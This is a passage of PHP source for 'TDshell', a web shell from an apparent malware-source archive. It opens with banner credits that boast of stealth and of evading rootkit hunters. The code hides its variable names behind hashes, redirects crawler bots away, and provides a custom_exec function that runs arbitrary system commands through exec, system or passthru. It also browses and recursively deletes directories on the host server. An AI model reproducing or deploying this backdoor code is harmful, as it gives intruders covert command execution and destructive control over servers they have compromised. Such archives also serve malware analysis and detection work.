mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
1841 lines
100 KiB
Plaintext
1841 lines
100 KiB
Plaintext
|
/**
|
|||
|
_______ _ _____ __ _
|
|||
|
|__ __| | | __ \ / _| | |
|
|||
|
| | | |__ ___| | | | ___| |_ __ _ ___ ___ __| |
|
|||
|
| | | '_ \ / _ \ | | |/ _ \ _/ _` |/ __/ _ \/ _` |
|
|||
|
| | | | | | __/ |__| | __/ || (_| | (_| __/ (_| |
|
|||
|
|_| |_| |_|\___|_____/ \___|_| \__,_|\___\___|\__,_|
|
|||
|
|
|||
|
_____ _ _ _______
|
|||
|
/ ____| (_) | |__ __|
|
|||
|
| (___ ___ ___ _ _ _ __ _| |_ _ _ | | ___ __ _ _ __ ___
|
|||
|
\___ \ / _ \/ __| | | | '__| | __| | | | | |/ _ \/ _` | '_ ` _ \
|
|||
|
____) | __/ (__| |_| | | | | |_| |_| | | | __/ (_| | | | | | |
|
|||
|
|_____/ \___|\___|\__,_|_| |_|\__|\__, | |_|\___|\__,_|_| |_| |_|
|
|||
|
__/ |
|
|||
|
|___/
|
|||
|
__________________________________________________________________
|
|||
|
|------------------------[ TDshell v0.1 ]------------------------|
|
|||
|
| [ <20> 2005 -> 2008 TheDefaced Security Team ] |
|
|||
|
/------------------------------------------------------------------\
|
|||
|
\ /
|
|||
|
\ ___________________ .__ .__ .__ /
|
|||
|
\ \__ ___/\______ \ _____| |__ ____ | | | | /
|
|||
|
\ | | | | \ / ___/ | \_/ __ \| | | | /
|
|||
|
/ | | | ` \\___ \| Y \ ___/| |_| |__ \
|
|||
|
/ |____| /_______ /____ >___| /\___ >____/____/ \
|
|||
|
\ \/ \/ \/ \/ /
|
|||
|
\____________________________________________________________/
|
|||
|
| |
|
|||
|
|------------------------[ CREDITS ]------------------------|
|
|||
|
| |
|
|||
|
| www.TheDefaced.org |
|
|||
|
| * DeadlyData |
|
|||
|
| * Debug |
|
|||
|
| * Kr3w |
|
|||
|
| * Tr3mbl3r |
|
|||
|
| * xaNax` |
|
|||
|
| * Blood420 |
|
|||
|
\ /
|
|||
|
|#######################################################|
|
|||
|
/ \
|
|||
|
| |
|
|||
|
|-----------------------[ FEATURES! ]-----------------------|
|
|||
|
| |
|
|||
|
| TDshell contains a lot of features. Mainly, TDshell was |
|
|||
|
| developed to alleviate what other shells left behind. |
|
|||
|
| Other shells can brag the ability to do this and that, |
|
|||
|
| but in the end what makes a shell, a shell? We think a |
|
|||
|
| shell should have stealth. It should be fast to load, use |
|
|||
|
| little memory, avoid logging from rootkit hunters, be |
|
|||
|
| modern, and simply do exactly what you want it to do. The |
|
|||
|
| style must be simple. It should allow for the execution |
|
|||
|
| of your commands, the implimentation of every feature |
|
|||
|
| necessary with sleek control and seemless ability. Not |
|
|||
|
| only does TDshell aim to be the most stealthiest, but the |
|
|||
|
| most powerful all-around shell ever created. |
|
|||
|
\ /
|
|||
|
|#######################################################|
|
|||
|
/ \
|
|||
|
|------------------------[ HISTORY ]------------------------|
|
|||
|
| |
|
|||
|
| TDshell was created to impliment the look and feel that a |
|
|||
|
| shell should have, the features and speed that a shell |
|
|||
|
| should have, and the endless limits of post-development |
|
|||
|
| for everyone. |
|
|||
|
| |
|
|||
|
| The core of TDshell is a strong shell processing system. |
|
|||
|
| Yes, TDshell has object oriented elements, whether you |
|
|||
|
| like it or not. It is extensive enough to have to include |
|
|||
|
| a system as such. The object oriented system within |
|
|||
|
| does not include OOP Class Constructs and Features that |
|
|||
|
| are not available with PHP 4. This is due to the fact |
|
|||
|
| that many new features to OOP in PHP 5 were added, and to |
|
|||
|
| limit the version requirements of this shell such |
|
|||
|
| features have not been implimented. |
|
|||
|
| |
|
|||
|
| TDshell will not log any activity using the shell. No |
|
|||
|
| information regarding this shell location, queries, or |
|
|||
|
| executions of code will be logged to another server. |
|
|||
|
\ /
|
|||
|
|#######################################################|
|
|||
|
/ \
|
|||
|
|---------------------[ DOCUMENTATION ]---------------------|
|
|||
|
| |
|
|||
|
| Please review the documentation of TDshell at TheDefaced |
|
|||
|
| TDshell Project Page on http://tdshell.thedefaced.org. |
|
|||
|
\ /
|
|||
|
|#######################################################|
|
|||
|
/ \
|
|||
|
/___________________________________________________________\
|
|||
|
|
|||
|
**/
|
|||
|
|
|||
|
if (substr_count(strtolower($_SERVER['HTTP_USER_AGENT']), "bot"))
|
|||
|
{
|
|||
|
@header("Location: http://thedefaced.org/");
|
|||
|
exit;
|
|||
|
};
|
|||
|
|
|||
|
function current_URI()
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 = 'http';
|
|||
|
if ($_SERVER["HTTPS"] == "on")
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 .= "s";
|
|||
|
};
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 .= "://";
|
|||
|
if ($_SERVER["SERVER_PORT"] != "80")
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["SCRIPT_NAME"];
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
|
|||
|
};
|
|||
|
return $_42a6152a4d7c7d957669c6d70dc5ba87;
|
|||
|
};
|
|||
|
|
|||
|
|
|||
|
function natsort2d(&$_6f3f41fdac2563c0cd2246cb5a507861) {
|
|||
|
$_8b950f1de0291b3d751c9073c331b045 = $_3abe5e58427863cb52d841b2e474b99d = array();
|
|||
|
foreach ($_6f3f41fdac2563c0cd2246cb5a507861 as $_4377314b1cecdbac9a384c43c42c6b48=>$_d52f547da0e098832b6b81469d36c48b) {
|
|||
|
reset($_d52f547da0e098832b6b81469d36c48b);
|
|||
|
$_8b950f1de0291b3d751c9073c331b045[$_4377314b1cecdbac9a384c43c42c6b48]=current($_d52f547da0e098832b6b81469d36c48b);
|
|||
|
}
|
|||
|
natsort($_8b950f1de0291b3d751c9073c331b045);
|
|||
|
foreach ($_8b950f1de0291b3d751c9073c331b045 as $_4377314b1cecdbac9a384c43c42c6b48=>$_d52f547da0e098832b6b81469d36c48b) {
|
|||
|
$_3abe5e58427863cb52d841b2e474b99d[$_4377314b1cecdbac9a384c43c42c6b48] = $_6f3f41fdac2563c0cd2246cb5a507861[$_4377314b1cecdbac9a384c43c42c6b48];
|
|||
|
}
|
|||
|
$_6f3f41fdac2563c0cd2246cb5a507861 = $_3abe5e58427863cb52d841b2e474b99d;
|
|||
|
}
|
|||
|
|
|||
|
function getmicrotime()
|
|||
|
{
|
|||
|
$_f1aa244866e1fc41fe62f3b7ccb03607 = split(" ",microtime());
|
|||
|
$_1392ef521657c311e39af249669c5c4c = $_f1aa244866e1fc41fe62f3b7ccb03607[0] + $_f1aa244866e1fc41fe62f3b7ccb03607[1];
|
|||
|
return $_1392ef521657c311e39af249669c5c4c;
|
|||
|
};
|
|||
|
|
|||
|
function view_size($_d01b1d6ca02250dd3186b3eb5feeca75)
|
|||
|
{
|
|||
|
if (!is_numeric($_d01b1d6ca02250dd3186b3eb5feeca75)) {return FALSE;}
|
|||
|
else
|
|||
|
{
|
|||
|
if ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1073741824) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1073741824*100)/100 ." GB";}
|
|||
|
elseif ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1048576) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1048576*100)/100 ." MB";}
|
|||
|
elseif ($_d01b1d6ca02250dd3186b3eb5feeca75 >= 1024) {$_d01b1d6ca02250dd3186b3eb5feeca75 = round($_d01b1d6ca02250dd3186b3eb5feeca75/1024*100)/100 ." KB";}
|
|||
|
else {$_d01b1d6ca02250dd3186b3eb5feeca75 = $_d01b1d6ca02250dd3186b3eb5feeca75 . " B";}
|
|||
|
return $_d01b1d6ca02250dd3186b3eb5feeca75;
|
|||
|
}
|
|||
|
};
|
|||
|
if ( !function_exists('htmlspecialchars_decode') )
|
|||
|
{
|
|||
|
function htmlspecialchars_decode($_33343500153dd2bfdb71207b3a2efb0b)
|
|||
|
{
|
|||
|
return strtr($_33343500153dd2bfdb71207b3a2efb0b, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
|
|||
|
};
|
|||
|
};
|
|||
|
|
|||
|
function processdir($_2211b5dc6bb7947adcb0bf14cee6591e)
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @explode(DIRECTORY_SEPARATOR, $_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @array_reverse($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
foreach ($_2211b5dc6bb7947adcb0bf14cee6591e as $_120c29d6a17d23d38cf83c73ee28474a => $_dbb9cf7861c2b08674858b1c5ed255d3)
|
|||
|
{
|
|||
|
$_4015b8ddbb3792b7cea9b691c444f9bb = @implode(DIRECTORY_SEPARATOR, @array_reverse($_2211b5dc6bb7947adcb0bf14cee6591e));
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1[] = $GLOBALS['TDshell']->make_link("list", array("dir" => $_4015b8ddbb3792b7cea9b691c444f9bb . DIRECTORY_SEPARATOR), @htmlspecialchars($_dbb9cf7861c2b08674858b1c5ed255d3) . DIRECTORY_SEPARATOR);
|
|||
|
unset($_2211b5dc6bb7947adcb0bf14cee6591e[$_120c29d6a17d23d38cf83c73ee28474a]);
|
|||
|
};
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 = @array_reverse($_a9e5405d6581811dbff46e9ca3280bc1);
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 = @implode("", $_a9e5405d6581811dbff46e9ca3280bc1);
|
|||
|
return $_a9e5405d6581811dbff46e9ca3280bc1;
|
|||
|
};
|
|||
|
if (!@function_exists("htmlspecialchars_decode")) {
|
|||
|
function htmlspecialchars_decode($_5fa3317a9a640ed74c5f9247474ed574, $_59588925eec423f30d40b21b1ed1668e = ENT_COMPAT) {
|
|||
|
return strtr($_5fa3317a9a640ed74c5f9247474ed574, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $_59588925eec423f30d40b21b1ed1668e)));
|
|||
|
};
|
|||
|
};
|
|||
|
|
|||
|
function delete_directory($_03bc224b8d2f7aeadafb2048d91c8f5e) {
|
|||
|
$_82c6138b62efd9e0b5bd91204b1d854b = @opendir($_03bc224b8d2f7aeadafb2048d91c8f5e);
|
|||
|
while(($_3de8e09f12e75d6214bb6e7720875bf2 = @readdir($_82c6138b62efd9e0b5bd91204b1d854b)) !== FALSE) {
|
|||
|
if ($_3de8e09f12e75d6214bb6e7720875bf2 != "." && $_3de8e09f12e75d6214bb6e7720875bf2 != "..") {
|
|||
|
if (!@is_dir($_03bc224b8d2f7aeadafb2048d91c8f5e."/".$_3de8e09f12e75d6214bb6e7720875bf2))
|
|||
|
@unlink($_03bc224b8d2f7aeadafb2048d91c8f5e."/".$_3de8e09f12e75d6214bb6e7720875bf2);
|
|||
|
else
|
|||
|
delete_directory($_03bc224b8d2f7aeadafb2048d91c8f5e.'/'.$_3de8e09f12e75d6214bb6e7720875bf2);
|
|||
|
}
|
|||
|
}
|
|||
|
@closedir($_82c6138b62efd9e0b5bd91204b1d854b);
|
|||
|
if (@rmdir($_03bc224b8d2f7aeadafb2048d91c8f5e))
|
|||
|
{
|
|||
|
return true;
|
|||
|
};
|
|||
|
return false;
|
|||
|
};
|
|||
|
|
|||
|
function is_disabled($_d24fdc60af9ffefb892a8c20a6f28f0f) {
|
|||
|
$_3f595d48284da121e82e9fba50f8ae78=@explode(',',@ini_get('disable_functions'));
|
|||
|
return @in_array($_d24fdc60af9ffefb892a8c20a6f28f0f, $_3f595d48284da121e82e9fba50f8ae78);
|
|||
|
}
|
|||
|
|
|||
|
function custom_exec($_43b464f69048e498f740f7449de30b58)
|
|||
|
{
|
|||
|
if (!is_disabled("exec"))
|
|||
|
{
|
|||
|
@exec($_43b464f69048e498f740f7449de30b58, $_c378b53352ff491652530ac000f8d120);
|
|||
|
return @implode("\n", $_c378b53352ff491652530ac000f8d120);
|
|||
|
}
|
|||
|
elseif (!is_disabled("system"))
|
|||
|
{
|
|||
|
@ob_start();
|
|||
|
@system($_43b464f69048e498f740f7449de30b58);
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 = @ob_get_clean();
|
|||
|
return $_a9e5405d6581811dbff46e9ca3280bc1;
|
|||
|
}
|
|||
|
elseif (!is_disabled("passthru"))
|
|||
|
{
|
|||
|
@ob_start();
|
|||
|
@passthru($_43b464f69048e498f740f7449de30b58);
|
|||
|
$_a9e5405d6581811dbff46e9ca3280bc1 = @ob_get_clean();
|
|||
|
return $_a9e5405d6581811dbff46e9ca3280bc1;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
return FALSE;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
function listDir($_2211b5dc6bb7947adcb0bf14cee6591e)
|
|||
|
{
|
|||
|
$_7924ccf53d944b2d8320d10d54548e29 = array();
|
|||
|
$_ae816068878d4783e70eeef9284475f4 = array();
|
|||
|
$_fd614daccd49afd7833e083628860ad5 = array();
|
|||
|
|
|||
|
$_c14f19c15d50e72a5733c0ad88a035b9 = @opendir($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
while (($_b6525f529051ff28fa112494d8e2d5a3 = @readdir($_c14f19c15d50e72a5733c0ad88a035b9)) !== FALSE)
|
|||
|
{
|
|||
|
$_d69e2bdf98584fc6cce9c9f9a9eb8b6a[] = $_b6525f529051ff28fa112494d8e2d5a3;
|
|||
|
};
|
|||
|
@closedir($_c14f19c15d50e72a5733c0ad88a035b9);
|
|||
|
foreach ($_d69e2bdf98584fc6cce9c9f9a9eb8b6a as $_e702a6d41125002051486e5e72b66d74)
|
|||
|
{
|
|||
|
if ($_e702a6d41125002051486e5e72b66d74 == ".")
|
|||
|
{
|
|||
|
$_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . "." . DIRECTORY_SEPARATOR;
|
|||
|
}
|
|||
|
elseif ($_e702a6d41125002051486e5e72b66d74 == "..")
|
|||
|
{
|
|||
|
$_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . ".." . DIRECTORY_SEPARATOR;
|
|||
|
}
|
|||
|
elseif (@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74))
|
|||
|
{
|
|||
|
if (@is_link($_e702a6d41125002051486e5e72b66d74))
|
|||
|
{
|
|||
|
$_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74 . DIRECTORY_SEPARATOR;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_fd614daccd49afd7833e083628860ad5[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74 . DIRECTORY_SEPARATOR;
|
|||
|
};
|
|||
|
}
|
|||
|
elseif (@is_file($_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74))
|
|||
|
{
|
|||
|
$_7924ccf53d944b2d8320d10d54548e29[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_ae816068878d4783e70eeef9284475f4[] = $_2211b5dc6bb7947adcb0bf14cee6591e . $_e702a6d41125002051486e5e72b66d74;
|
|||
|
};
|
|||
|
};
|
|||
|
foreach ($_7924ccf53d944b2d8320d10d54548e29 as $_4377314b1cecdbac9a384c43c42c6b48 => $_3de8e09f12e75d6214bb6e7720875bf2)
|
|||
|
{
|
|||
|
$_86cc5dffb9c95119ecd61c5ce2502cbc[@htmlspecialchars(@basename($_3de8e09f12e75d6214bb6e7720875bf2))] = @realpath($_3de8e09f12e75d6214bb6e7720875bf2);
|
|||
|
};
|
|||
|
foreach ($_fd614daccd49afd7833e083628860ad5 as $_4377314b1cecdbac9a384c43c42c6b48 => $_2211b5dc6bb7947adcb0bf14cee6591e)
|
|||
|
{
|
|||
|
$_929bdda99ead5652737dc2edefe9b0c4[@htmlspecialchars(@basename($_2211b5dc6bb7947adcb0bf14cee6591e))] = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
};
|
|||
|
foreach ($_ae816068878d4783e70eeef9284475f4 as $_4377314b1cecdbac9a384c43c42c6b48 => $_74bd500a4b44ea6a823f6199ccdb62a8)
|
|||
|
{
|
|||
|
$_022d200e9529826ec8ed110a68478d28[@htmlspecialchars(@basename($_74bd500a4b44ea6a823f6199ccdb62a8))] = @realpath($_74bd500a4b44ea6a823f6199ccdb62a8);
|
|||
|
};
|
|||
|
@natsort($_86cc5dffb9c95119ecd61c5ce2502cbc);
|
|||
|
@natsort($_929bdda99ead5652737dc2edefe9b0c4);
|
|||
|
@natsort($_022d200e9529826ec8ed110a68478d28);
|
|||
|
return array("FILES" => $_86cc5dffb9c95119ecd61c5ce2502cbc, "DIRS" => $_929bdda99ead5652737dc2edefe9b0c4, "LINKS" => $_022d200e9529826ec8ed110a68478d28);
|
|||
|
}
|
|||
|
|
|||
|
function recursiveDirectoryResponse($_2211b5dc6bb7947adcb0bf14cee6591e)
|
|||
|
{
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = @realpath($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
if (!@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e))
|
|||
|
{
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
$_c14f19c15d50e72a5733c0ad88a035b9 = @opendir($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
$_35822b5d3e252c2cd76a8cfd0bc9215b = array();
|
|||
|
while (($_b6525f529051ff28fa112494d8e2d5a3 = @readdir($_c14f19c15d50e72a5733c0ad88a035b9)) !== FALSE)
|
|||
|
{
|
|||
|
if ($_b6525f529051ff28fa112494d8e2d5a3 !== "." && $_b6525f529051ff28fa112494d8e2d5a3 !== "..")
|
|||
|
{
|
|||
|
if (@is_dir($_b6525f529051ff28fa112494d8e2d5a3) && !isset($_35822b5d3e252c2cd76a8cfd0bc9215b[$_b6525f529051ff28fa112494d8e2d5a3 . DIRECTORY_SEPARATOR]))
|
|||
|
{
|
|||
|
$_35822b5d3e252c2cd76a8cfd0bc9215b[$_b6525f529051ff28fa112494d8e2d5a3 . DIRECTORY_SEPARATOR] = recursiveDirectoryResponse($_b6525f529051ff28fa112494d8e2d5a3);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$_35822b5d3e252c2cd76a8cfd0bc9215b[] = $_b6525f529051ff28fa112494d8e2d5a3;
|
|||
|
};
|
|||
|
};
|
|||
|
};
|
|||
|
return $_35822b5d3e252c2cd76a8cfd0bc9215b;
|
|||
|
}
|
|||
|
|
|||
|
function file_perms($_3de8e09f12e75d6214bb6e7720875bf2, $_7c6634f9e5e8cd23040778e99232dff3 = false)
|
|||
|
{
|
|||
|
if(!@file_exists($_3de8e09f12e75d6214bb6e7720875bf2)) return false;
|
|||
|
|
|||
|
$_13f531c0ca48f6a5f8315121bf59ffaa = @fileperms($_3de8e09f12e75d6214bb6e7720875bf2);
|
|||
|
|
|||
|
$_cbc4b619c09cd3060d1699bd1b6ec197 = $_7c6634f9e5e8cd23040778e99232dff3 ? 2 : 3;
|
|||
|
|
|||
|
return @substr(@decoct($_13f531c0ca48f6a5f8315121bf59ffaa), $_cbc4b619c09cd3060d1699bd1b6ec197);
|
|||
|
}
|
|||
|
|
|||
|
function view_perms($_65fa4fdb4dc96ba9c4f2629446b1acf9)
|
|||
|
{
|
|||
|
if (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0xC000) === 0xC000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "s";}
|
|||
|
elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x4000) === 0x4000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "d";}
|
|||
|
elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0xA000) === 0xA000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "l";}
|
|||
|
elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x8000) === 0x8000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "-";}
|
|||
|
elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x6000) === 0x6000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "b";}
|
|||
|
elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x2000) === 0x2000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "c";}
|
|||
|
elseif (($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x1000) === 0x1000) {$_78f05392f016a05e28dc87c1d3bd52a2 = "p";}
|
|||
|
else {$_78f05392f016a05e28dc87c1d3bd52a2 = "?";}
|
|||
|
$_08a8bc95aa954433522d6e8773049cbc["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00400)?"r":"-";
|
|||
|
$_08a8bc95aa954433522d6e8773049cbc["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00200)?"w":"-";
|
|||
|
$_08a8bc95aa954433522d6e8773049cbc["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00100)?"x":"-";
|
|||
|
$_aeaf1179391a94c353c7eb37a0e3ec8b["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00040)?"r":"-";
|
|||
|
$_aeaf1179391a94c353c7eb37a0e3ec8b["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00020)?"w":"-";
|
|||
|
$_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00010)?"x":"-";
|
|||
|
$_be187a6755c5e72374d46fcbc1c4fe57["read"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00004)?"r":"-";
|
|||
|
$_be187a6755c5e72374d46fcbc1c4fe57["write"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00002)? "w":"-";
|
|||
|
$_be187a6755c5e72374d46fcbc1c4fe57["execute"] = ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 00001)?"x":"-";
|
|||
|
if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x800) {$_08a8bc95aa954433522d6e8773049cbc["execute"] = ($_08a8bc95aa954433522d6e8773049cbc["execute"] == "x")?"s":"S";}
|
|||
|
if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x400) {$_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] = ($_aeaf1179391a94c353c7eb37a0e3ec8b["execute"] == "x")?"s":"S";}
|
|||
|
if ($_65fa4fdb4dc96ba9c4f2629446b1acf9 & 0x200) {$_be187a6755c5e72374d46fcbc1c4fe57["execute"] = ($_be187a6755c5e72374d46fcbc1c4fe57["execute"] == "x")?"t":"T";}
|
|||
|
return $_78f05392f016a05e28dc87c1d3bd52a2.join("",$_08a8bc95aa954433522d6e8773049cbc).join("",$_aeaf1179391a94c353c7eb37a0e3ec8b).join("",$_be187a6755c5e72374d46fcbc1c4fe57);
|
|||
|
}
|
|||
|
|
|||
|
function view_perms_color($_3bf3fbc5fc401a716348815f5e794920)
|
|||
|
{
|
|||
|
if (!@is_readable($_3bf3fbc5fc401a716348815f5e794920)) {return "<font color=red>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";}
|
|||
|
elseif (!@is_writable($_3bf3fbc5fc401a716348815f5e794920)) {return "<font color=white>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";}
|
|||
|
else {return "<font color=green>".view_perms(@fileperms($_3bf3fbc5fc401a716348815f5e794920))."</font>";}
|
|||
|
}
|
|||
|
|
|||
|
Class _463f641c8747ebe94fafef7333a99b45
|
|||
|
{
|
|||
|
var $TDshell_version = "TDshell v0.1 - Beta";
|
|||
|
var $TDshell_template = array();
|
|||
|
var $TDshell_data = "";
|
|||
|
var $TDshell_time_start = "";
|
|||
|
var $TDshell_time_end = "";
|
|||
|
|
|||
|
function init()
|
|||
|
{
|
|||
|
$_a3ae37119660c8023a43787f58268912 = $_GET['proc'];
|
|||
|
unset($_GET['proc']);
|
|||
|
$_2e5c25529adea7d7ad4802936aee0b48 = $_GET['act'];
|
|||
|
unset($_GET['act']);
|
|||
|
$this->TDshell_time_start = getmicrotime();
|
|||
|
if ($_a3ae37119660c8023a43787f58268912 != "out")
|
|||
|
{
|
|||
|
$this->header();
|
|||
|
}
|
|||
|
if (!empty($_GET['args']))
|
|||
|
{
|
|||
|
$_ec4ae32bf3e3a09bae7ff3e84ebbc667 = $_GET['args'];
|
|||
|
$_ec4ae32bf3e3a09bae7ff3e84ebbc667 = @explode("-", $_ec4ae32bf3e3a09bae7ff3e84ebbc667);
|
|||
|
foreach ($_ec4ae32bf3e3a09bae7ff3e84ebbc667 as $_f16aff67f7495b01405d8cd6181766f0)
|
|||
|
{
|
|||
|
list($_d3befca3813d65aff84c2353e705a0dd, $_dd5a91d0c375489fc194ecfe1da2e38a) = @explode(":", @base64_decode($_f16aff67f7495b01405d8cd6181766f0), 2);
|
|||
|
$_8cc898f326427ea2223c7150e5b6537c[$_d3befca3813d65aff84c2353e705a0dd] = $_dd5a91d0c375489fc194ecfe1da2e38a;
|
|||
|
};
|
|||
|
$this->process($_2e5c25529adea7d7ad4802936aee0b48, $_8cc898f326427ea2223c7150e5b6537c);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
$this->process($_2e5c25529adea7d7ad4802936aee0b48);
|
|||
|
};
|
|||
|
$this->TDshell_time_end = getmicrotime();
|
|||
|
if ($_a3ae37119660c8023a43787f58268912 != "out")
|
|||
|
{
|
|||
|
$this->footer("" . $this->TDshell_time_end - $this->TDshell_time_start . "");
|
|||
|
}
|
|||
|
$this->outall();
|
|||
|
}
|
|||
|
|
|||
|
function process($_2e5c25529adea7d7ad4802936aee0b48 = "", $_ec4ae32bf3e3a09bae7ff3e84ebbc667 = array())
|
|||
|
{
|
|||
|
switch($_2e5c25529adea7d7ad4802936aee0b48)
|
|||
|
{
|
|||
|
case "list":
|
|||
|
$_2211b5dc6bb7947adcb0bf14cee6591e = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['dir'];
|
|||
|
if (empty($_2211b5dc6bb7947adcb0bf14cee6591e))
|
|||
|
{
|
|||
|
$this->process("list", array("dir" => "." . DIRECTORY_SEPARATOR));
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
|
|||
|
if (!@is_dir($_2211b5dc6bb7947adcb0bf14cee6591e))
|
|||
|
{
|
|||
|
$this->out("Problem listing directory; directory does not exist or cannot be read from.");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
$_8e1c807f3c845b208dba4430e64f4d94 = listDir($_2211b5dc6bb7947adcb0bf14cee6591e);
|
|||
|
$this->out("<b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . " " . view_perms_color($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>");
|
|||
|
$this->out("<center><span style='font-size:12px'><b>Listing " . @count($_8e1c807f3c845b208dba4430e64f4d94['DIRS']) . " directories and " . @count($_8e1c807f3c845b208dba4430e64f4d94['FILES']) . " files.</b></span></center>");
|
|||
|
if (empty($_8e1c807f3c845b208dba4430e64f4d94['LINKS']))
|
|||
|
{
|
|||
|
$this->out("Problem listing directory; directory does not exist or cannot be read from.");
|
|||
|
return FALSE;
|
|||
|
};
|
|||
|
$this->out("<table width=100% padding=1>
|
|||
|
<tr>
|
|||
|
<th nowrap>
|
|||
|
Name
|
|||
|
</th>
|
|||
|
<th nowrap>
|
|||
|
Size
|
|||
|
</th>
|
|||
|
<th nowrap>
|
|||
|
Modified
|
|||
|
</th>
|
|||
|
<th nowrap>
|
|||
|
Owner|Group
|
|||
|
</th>
|
|||
|
<th nowrap>
|
|||
|
Permissions
|
|||
|
</th>
|
|||
|
<th nowrap>
|
|||
|
Action
|
|||
|
</th>
|
|||
|
</tr>");
|
|||
|
if (@is_array($_8e1c807f3c845b208dba4430e64f4d94['LINKS']))
|
|||
|
foreach ($_8e1c807f3c845b208dba4430e64f4d94['LINKS'] as $_a70fd9147fda16858f57fe0479d66df0 => $_bf765329c68fb45566ab3b1af145d2c2)
|
|||
|
{
|
|||
|
$this->out("<tr>");
|
|||
|
$this->out("<td><b>" . $this->make_link("list", array("dir" => $_bf765329c68fb45566ab3b1af145d2c2 . DIRECTORY_SEPARATOR), $_a70fd9147fda16858f57fe0479d66df0) . "</b></td>");
|
|||
|
$this->out("<td>LINK</td>");
|
|||
|
$_ca3b4c9ef3a45b7d6dc6af03bad1367b = @posix_getpwuid(@fileowner($_bf765329c68fb45566ab3b1af145d2c2));
|
|||
|
$_35b2f08320a2169a648d2377cae768d3 = @posix_getgrgid(@filegroup($_bf765329c68fb45566ab3b1af145d2c2));
|
|||
|
$_ca3b4c9ef3a45b7d6dc6af03bad1367b = $_ca3b4c9ef3a45b7d6dc6af03bad1367b["name"];
|
|||
|
